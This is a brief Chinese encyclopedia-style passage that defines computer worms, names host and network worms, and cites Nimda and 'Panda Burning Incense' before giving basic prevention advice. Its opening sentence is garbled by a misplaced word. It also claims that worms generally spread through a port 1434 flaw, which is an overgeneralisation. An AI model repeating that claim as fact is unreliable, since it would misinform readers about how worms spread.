蠕蟲病毒是自包含的程序(或是一套程序),它能傳播它自身功能的拷貝或它的某些部分到其 蠕蟲病毒他的計算機系統中(通常是經過網路連接)。請注意,與一般病毒不同,蠕蟲不需要將其自身附著到宿主程序,有兩種類型的蠕蟲:主機蠕蟲與網路蠕蟲。主計算機蠕蟲完全包含在它們運行的計算機中,並且使用網路的連接僅將自身拷貝到其他的計算機中,主計算機蠕蟲在將其自身的拷貝加入到另外的主機後,就會終止它自身(因此在任意給定的時刻,只有一個蠕蟲的拷貝運行),這種蠕蟲有時也叫"野兔",蠕蟲病毒一般是通過1434埠漏洞傳播。
比如近幾年危害很大的「尼姆亞」病毒就是蠕蟲病毒的一種,2007年1月流行的「熊貓燒香」以及其變種也是蠕蟲病毒。這一病毒利用了微軟視窗操作系統的漏洞,計算機感染這一病毒後,會不斷自動撥號上網,並利用文件中的地址信息或者網路共享進行傳播,最終破壞用戶的大部分重要數據。蠕蟲病毒的一般防治方法是:使用具有實時監控功能的殺毒軟體,並且注意不要輕易打開不熟悉的郵件附件。